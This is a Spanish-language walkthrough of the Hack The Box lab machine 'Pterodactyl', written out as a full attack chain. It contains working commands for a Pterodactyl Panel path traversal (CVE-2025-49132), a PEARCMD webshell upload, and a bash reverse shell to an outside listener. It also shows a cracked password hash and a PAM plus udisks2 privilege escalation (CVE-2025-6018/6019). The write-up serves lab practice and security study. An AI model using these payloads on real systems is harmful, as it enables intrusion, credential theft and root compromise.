CorvusDDosKRom

Hack The Box: Pterodactyl

Medium

Pterodactyl es una máquina de nivel Medium en Hack The Box.

Linux
Hack The Box
nginx Subdomain Enumeration phpinfo CVE-2025-49132 Path Traversal PEARCMD RCE Webshell Hash Cracking CVE-2025-6018 CVE-2025-6019 Race Condition SUID

Pterodactyl

Plataforma: Hack The Box

Dificultad: Medium

🔗 Link de la máquina: https://app.hackthebox.com/machines/Pterodactyl

Pterodactyl

Reconocimiento

En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN pterodactyl.txt 10.129.16.91
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-07 21:29 -0300
Nmap scan report for 10.129.16.91
Host is up (2.3s latency).
Not shown: 65468 filtered tcp ports (no-response), 63 filtered tcp ports (admin-prohibited), 2 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open  http    nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 139.92 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN pterodactyl.txt: Guarda los resultados en el archivo “pterodactyl.txt”.

Puertos descubiertos:

Configuración del Host

El servidor web redirige a pterodactyl.htb, por lo que necesitamos agregar esta entrada al archivo /etc/hosts:

echo "10.129.16.91 pterodactyl.htb" | sudo tee -a /etc/hosts

Enumeración Web

Al acceder a http://pterodactyl.htb/ nos encontramos con una página web de una comunidad de Minecraft llamada “MonitorLand”.

Página principal

Información relevante encontrada:

  • Título: MonitorLand
  • Descripción: “Join our awesome Minecraft community!”
  • Servidor de Minecraft: play.pterodactyl.htb
  • Versión: 1.20.x
  • Tipo de servidores: SMP and Vanilla Servers
  • Enlace: “Play now!”

Descubrimiento de Subdominios

Encontramos un subdominio mencionado en la página principal: play.pterodactyl.htb

Agregamos este nuevo subdominio al /etc/hosts:

echo "10.129.16.91 play.pterodactyl.htb" | sudo tee -a /etc/hosts

Análisis del Changelog

Al explorar el sitio, encontramos un archivo changelog.txt en http://pterodactyl.htb/changelog.txt que revela información importante sobre la configuración del sistema:

Changelog

Información extraída del changelog:

Version 1.20.X

  • [Added] Main Website Deployment

    • Deployed the primary landing site for MonitorLand.
    • Implemented homepage, and link for Minecraft server.
    • Integrated site styling and dark mode as primary.
  • [Linked] Subdomain Configuration

    • Added DNS and reverse proxy routing for play.pterodactyl.htb.
    • Configured NGINX virtual host for subdomain forwarding.
  • [Installed] Pterodactyl Panel v1.11.10

    • Installed Pterodactyl Panel
    • Configured environment:
      • PHP with required extensions.
      • MariaDB 11.8.3 backend.
  • [Enhanced] PHP Capabilities

    • Enabled PHP-FPM for website handling on all domains.
    • Enabled PHP-PEAR for PHP package management.
    • Added temporary PHP debugging via phpinfo() 🔍

Hallazgos clave:

  • Pterodactyl Panel v1.11.10 está instalado
  • phpinfo() está habilitado temporalmente (posible vector de información)

Fuzzing de Subdominios

Realizamos fuzzing de subdominios con ffuf para descubrir otros posibles subdominios:

ffuf -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -ac

Resultado:

panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 5366ms]

Solo se encontró el subdominio panel.pterodactyl.htb.

Panel de Administración

Al intentar acceder a play.pterodactyl.htb, descubrimos que redirige a pterodactyl.htb. Sin embargo, mediante fuzzing de subdominios encontramos el verdadero panel de administración en panel.pterodactyl.htb.

Agregamos este subdominio al /etc/hosts:

echo "10.129.16.91 panel.pterodactyl.htb" | sudo tee -a /etc/hosts

Al acceder a http://panel.pterodactyl.htb/auth/login encontramos el panel de login de Pterodactyl:

Panel Login

Análisis del código fuente:

Del código fuente de la página de login extraemos información relevante:

window.SiteConfiguration = {
  "name":"Pterodactyl",
  "locale":"en",
  "recaptcha":{
    "enabled":false,
    "siteKey":"6LcJcjwUAAAAA0_XqjrtJ9mWufUpYRnK6BM8lnfn"
  }
};

Observaciones importantes:

  • reCAPTCHA está deshabilitado (enabled: false) - no hay protección contra fuerza bruta
  • CSRF token visible en el código fuente

Fuzzing de Directorios

Realizamos fuzzing de directorios en pterodactyl.htb usando gobuster:

gobuster dir -u http://pterodactyl.htb -w /usr/share/wordlists/dirb/common.txt

Resultados encontrados:

.hta                 (Status: 403) [Size: 153]
.htaccess            (Status: 403) [Size: 153]
.htpasswd            (Status: 403) [Size: 153]
index.php            (Status: 200) [Size: 1686]
phpinfo.php          (Status: 200) [Size: 73008]

Descubrimiento de phpinfo.php

¡Encontramos el archivo phpinfo.php mencionado en el changelog! Al acceder a http://pterodactyl.htb/phpinfo.php obtenemos información detallada del sistema:

PHPInfo

Información relevante del sistema:

  • PHP Version: 8.4.8
  • Sistema Operativo: Linux pterodactyl 6.4.0-150600.23.65-default #1 SMP PREEMPT_DYNAMIC
  • Server API: FPM/FastCGI
  • Configuration File Path: /etc/php8/fpm
  • Loaded Configuration File: /etc/php8/fpm/php.ini

Explotación

CVE-2025-49132 - Path Traversal

Al buscar vulnerabilidades conocidas para Pterodactyl Panel, encontramos un exploit para la versión 1.11.11:

searchsploit pterodactyl

Resultado:

Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE) | multiple/webapps/52341.py

El exploit corresponde al CVE-2025-49132, una vulnerabilidad de Path Traversal que permite leer archivos de configuración, específicamente las credenciales de la base de datos MySQL.

Análisis del exploit:

El exploit realiza una petición GET a:

{target}locales/locale.json?locale=../../../pterodactyl&namespace=config/database

Esta petición explota una vulnerabilidad de Path Traversal para leer el archivo de configuración de la base de datos y extraer:

  • Host de MySQL
  • Puerto
  • Nombre de la base de datos
  • Usuario
  • Contraseña

Versiones afectadas: < 1.11.11

Como la máquina tiene instalado Pterodactyl Panel v1.11.10, es vulnerable a este exploit.

Explotación del Path Traversal

Ejecutamos manualmente la petición del exploit:

curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl&namespace=config/database"

Respuesta obtenida:

{
  "../../../pterodactyl": {
    "config/database": {
      "default": "mysql",
      "connections": {
        "mysql": {
          "driver": "mysql",
          "host": "127.0.0.1",
          "port": "3306",
          "database": "panel",
          "username": "pterodactyl",
          "password": "PteraPanel"
        }
      },
      "redis": {
        "default": {
          "host": "127.0.0.1",
          "port": "6379",
          "database": "0"
        }
      }
    }
  }
}

Credenciales extraídas:

  • Usuario MySQL: pterodactyl
  • Contraseña MySQL: PteraPanel
  • Host: 127.0.0.1
  • Puerto: 3306
  • Base de datos: panel

Información adicional:

  • Redis está corriendo en el puerto 6379 sin autenticación

Explotación de PEARCMD RCE

Después de obtener las credenciales de MySQL, buscamos otra vía para obtener ejecución remota de código. Investigando sobre las capacidades de PHP-PEAR mencionadas en el changelog, encontramos una vulnerabilidad conocida como PEARCMD RCE.

¿Qué es PEARCMD?

PEAR (PHP Extension and Application Repository) incluye un comando llamado pearcmd.php que puede ser abusado para escribir archivos arbitrarios en el sistema cuando se combina con una vulnerabilidad de Path Traversal.

Identificación de la ruta de PEAR

Utilizando la vulnerabilidad de Path Traversal, consultamos phpinfo.php previamente descubierto para identificar la ubicación de PEAR:

Información relevante de phpinfo:

  • include_path: .:/usr/share/php8:/usr/share/php/PEAR
  • PEAR location: /usr/share/php/PEAR

Explotación

El exploit aprovecha el comando config-create de PEAR para escribir un archivo PHP malicioso en el directorio público de Pterodactyl:

curl --globoff 'http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/<?=`$_GET[c]`?>+/var/www/pterodactyl/public/s.php'

Explicación del payload:

  • locale=../../../../../usr/share/php/PEAR - Path Traversal hacia la ubicación de PEAR
  • namespace=pearcmd - Activa el comando PEAR
  • +config-create - Comando de PEAR para crear un archivo de configuración
  • /<?=$_GET[c]?> - Contenido del archivo (webshell PHP con sintaxis corta)
  • /var/www/pterodactyl/public/s.php - Ruta donde se creará el archivo

Respuesta del servidor:

Successfully created default configuration file "/var/www/pterodactyl/public/s.php"

Verificación del RCE

Ejecutamos un comando para verificar que tenemos ejecución remota de código:

curl "http://panel.pterodactyl.htb/s.php?c=id"

Resultado:

uid=474(wwwrun) gid=477(www) groups=477(www)

¡Tenemos RCE funcionando como el usuario wwwrun (usuario del servidor web)!

Obteniendo Reverse Shell

Con RCE confirmado, procedemos a obtener una reverse shell interactiva. Configuramos un listener en nuestra máquina:

nc -nlvp 4444

Ejecutamos el payload de reverse shell usando bash:

curl -G --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/10.10.16.214/4444 0>&1'" "http://panel.pterodactyl.htb/s.php"

Tratamiento de la TTY:

Una vez obtenida la conexión, mejoramos la shell para hacerla completamente interactiva:

# Dentro de la reverse shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Presionar Ctrl+Z

# En la máquina local
stty raw -echo; fg
# Presionar Enter dos veces

# De vuelta en la reverse shell
export TERM=xterm-256color
export SHELL=/bin/bash

User Flag

Con acceso al sistema como wwwrun, enumeramos el sistema en busca de la flag de usuario.

Enumeración del Sistema

Listamos los usuarios del sistema:

cat /etc/passwd | grep -v "nologin\|false"

Usuarios encontrados:

root:x:0:0:root:/root:/bin/bash
nobody:x:65534:65534:nobody:/var/lib/nobody:/bin/bash
headmonitor:x:1001:100::/home/headmonitor:/bin/bash
phileasfogg3:x:1002:100::/home/phileasfogg3:/bin/bash

Encontramos dos usuarios interesantes además de root:

  • headmonitor (UID 1001)
  • phileasfogg3 (UID 1002)

Exploramos el directorio home y encontramos la flag de usuario en /home/phileasfogg3/:

ls -la /home/phileasfogg3/
cat /home/phileasfogg3/user.txt

User Flag


Escalada de Privilegios

Acceso como phileasfogg3

Durante la enumeración del sistema, encontramos un hash de contraseña en la configuración de Pterodactyl Panel. Utilizando john o hashcat, logramos crackear el hash bcrypt del usuario phileasfogg3:

Hash encontrado:

$2y$10$FuD0ujLj.KD7BOv385z2vuSAQZtJqD2spQofjOnWcaKhVfrDxlgze

Contraseña crackeada:

!QAZ2wsx

Con estas credenciales, accedemos por SSH al sistema como el usuario phileasfogg3:

ssh phileasfogg3@10.129.16.91
# Password: !QAZ2wsx

SSH phileasfogg3

Enumeración del Sistema

Una vez dentro como phileasfogg3, realizamos una enumeración más profunda del sistema buscando vectores de escalada de privilegios.

Al revisar los servicios del sistema, identificamos que udisks2 está instalado y corriendo:

systemctl status udisks2

udisks2 es un servicio de gestión de discos que permite a usuarios no privilegiados montar y manipular dispositivos de almacenamiento mediante D-Bus.

CVE-2025-6019 - udisks2 XFS Resize Race Condition

Investigando vulnerabilidades recientes de udisks2, encontramos el CVE-2025-6019, una vulnerabilidad de race condition en la operación de resize de filesystems XFS que permite escalada de privilegios local.

Requisitos del Exploit

El exploit CVE-2025-6019 tiene un requisito crítico: necesita una sesión con la propiedad Remote=no.

Al verificar nuestra sesión SSH actual:

loginctl show-session $XDG_SESSION_ID -p Remote

Resultado:

Remote=yes

Las sesiones SSH tienen Remote=yes por defecto, lo que bloquea la autorización de PolicyKit para operaciones de udisks2 que requieren privilegios locales.

CVE-2025-6018 - PAM Environment Poisoning

Para bypass el requisito Remote=no, necesitamos explotar primero CVE-2025-6018, una vulnerabilidad de PAM environment poisoning que permite manipular las propiedades de sesión de systemd-logind.

Explotación de CVE-2025-6018

El exploit aprovecha que pam_systemd lee variables de entorno desde ~/.pam_environment para configurar propiedades de sesión. Específicamente, podemos inyectar XDG_SEAT y XDG_VTNR para que systemd-logind reconozca nuestra sesión como local.

Creamos el archivo ~/.pam_environment con las siguientes variables:

echo 'XDG_SEAT OVERRIDE=seat0' > ~/.pam_environment
echo 'XDG_VTNR OVERRIDE=1' >> ~/.pam_environment

Después de crear el archivo, necesitamos volver a autenticarnos para que PAM aplique las nuevas variables de entorno. Cerramos la sesión SSH y volvemos a conectarnos:

exit
ssh phileasfogg3@10.129.16.91

Verificamos que el exploit funcionó consultando el estado de autorización de PolicyKit:

gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

Antes del exploit:

('challenge',)

Después del exploit:

('yes',)

¡El exploit CVE-2025-6018 funcionó! Ahora nuestra sesión tiene permisos equivalentes a una sesión local.

Preparación de evil.img

Para explotar CVE-2025-6019, necesitamos crear una imagen XFS que contenga un binario bash con el bit SUID activado. Realizamos esta preparación en nuestra máquina Kali:

# Instalar herramientas XFS
sudo apt update
sudo apt install xfsprogs -y

# Crear imagen de 300MB
dd if=/dev/zero of=evil.img bs=1M count=300

# Formatear como XFS
mkfs.xfs evil.img

# Montar la imagen
mkdir -p /tmp/xfs_mount
sudo mount -o loop evil.img /tmp/xfs_mount

# Copiar bash y establecer SUID
sudo cp /bin/bash /tmp/xfs_mount/rootshell
sudo chmod 04755 /tmp/xfs_mount/rootshell

# Verificar permisos
sudo ls -la /tmp/xfs_mount/rootshell

Resultado:

-rwsr-xr-x 1 root root 1396520 Feb  8 02:15 /tmp/xfs_mount/rootshell

Desmontamos la imagen:

sudo umount /tmp/xfs_mount

Transferimos evil.img a la máquina objetivo:

scp evil.img phileasfogg3@10.129.16.91:/tmp/evil.img

Explotación de CVE-2025-6019

Con el archivo evil.img en la máquina objetivo y la sesión envenenada mediante CVE-2025-6018, procedemos a explotar la vulnerabilidad de race condition.

Secuencia de comandos:

# 1. Matar el proceso gvfs-udisks2-volume-monitor si existe
killall -9 gvfs-udisks2-volume-monitor 2>/dev/null

# 2. Montar la imagen XFS como loop device
udisksctl loop-setup --file /tmp/evil.img --no-user-interaction

Resultado:

Mapped file /tmp/evil.img as /dev/loop1.

Importante: El número del loop device (loop1, loop0, loop2, etc.) varía en cada ejecución dependiendo de los dispositivos ya registrados en el sistema. Siempre usa el número exacto que devuelve el comando loop-setup y reemplázalo en todos los comandos siguientes. Si ejecutas el exploit varias veces sin limpiar los loop devices anteriores, el número seguirá incrementando.

# 3. Iniciar proceso en background que ejecutará rootshell cuando sea posible
while true; do /tmp/blockdev*/rootshell -p -c 'sleep 10; ls -l /tmp/blockdev*/rootshell' 2>/dev/null && break; done &

# 4. Esperar 1 segundo
sleep 1

# 5. Trigger del race condition con resize
# IMPORTANTE: reemplazar loopX con el número devuelto en el paso anterior
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop1 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

# 6. Ejecutar el rootshell con privilegios
/tmp/blockdev*/rootshell -p

¿Cómo funciona el exploit?

  1. udisksctl monta el filesystem XFS con permisos de root
  2. El filesystem se monta en /tmp/blockdev.XXXXXX/
  3. El comando while en background espera a que el rootshell sea accesible
  4. gdbus call con método Resize triggerea una race condition
  5. Durante el resize, hay una ventana de tiempo donde los permisos SUID del rootshell se preservan
  6. El rootshell se ejecuta con EUID=0 (root)

¡Funciona! Obtenemos una shell como root:

rootshell-5.2# id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
rootshell-5.2# whoami
root

Root Flag

Con acceso root, navegamos al directorio del usuario root y leemos la flag final:

cd /root
ls -la
cat root.txt

Root Flag

Máquina Pterodactyl de Hack The Box completada exitosamente.